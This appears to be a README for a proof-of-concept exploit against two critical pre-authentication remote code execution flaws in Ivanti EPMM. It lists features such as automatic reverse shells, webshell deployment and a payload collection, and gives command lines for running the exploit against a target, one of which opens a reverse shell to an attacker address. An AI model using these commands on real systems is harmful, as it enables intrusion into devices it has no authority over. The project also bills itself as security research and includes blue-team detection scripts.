CVE-2026-1281 & CVE-2026-1340 - Ivanti EPMM Pre-Auth RCE

⚠️ DISCLAIMER: This PoC is provided solely for educational and security research purposes. Unauthorized use is illegal.

🎯 Description

Complete Proof of Concept (PoC) for exploiting the CVE-2026-1281 and CVE-2026-1340 vulnerabilities affecting Ivanti Endpoint Manager Mobile (EPMM). These vulnerabilities allow unauthenticated remote code execution (RCE) via a Bash Arithmetic Expansion mechanism.

Vulnerabilities

• CVE-2026-1281: Code injection in the /mifs/c/appstore/fob/ endpoint
• CVE-2026-1340: Code injection in the /mifs/c/aftstore/fob/ endpoint
• CVSS Score: 9.8 (Critical)
• Exploitation: Active in-the-wild (Zero-Day)

🚀 Features

• ✅ Automated validation framework (8 tests)
• ✅ Pre-Auth RCE exploitation
• ✅ Automatic reverse shell
• ✅ Webshell deployment
• ✅ 50+ ready-to-use payloads
• ✅ Detection scripts for Blue Team
• ✅ Complete documentation

📦 Installation

git clone https://github.com/MehdiLeDeaut/CVE-2026-1281-Ivanti-EPMM-RCE.git
cd CVE-2026-1281-Ivanti-EPMM-RCE
pip3 install -r requirements.txt
chmod +x *.py

🎯 Quick Usage

# Vulnerability test
python3 exploit.py -t https://target.com -c

# RCE validation
python3 exploit.py -t https://target.com --test-rce

# Reverse shell
python3 exploit.py -t https://target.com --reverse-shell 10.10.14.5:4444

📚 Documentation

• Full README - Detailed technical documentation
• Usage guide - Step-by-step guide
• Payloads - Collection of 50+ payloads
• Red Team guide - Operational scenarios

🔗 References

• CERT-FR CERTFR-2026-ALE-001
• Watchtowr Labs Analysis
• CVE-2026-1281
• CVE-2026-1340

👤 Author

Mehdi Le Deaut - Cybersecurity Consultant | Red Team Specialist

LinkedIn

⚖️ License

This project is licensed under the MIT License - see the LICENSE file for details.

🙏 Acknowledgments

• CERT-FR for the rapid alert
• Watchtowr Labs for the technical analysis
• The cybersecurity community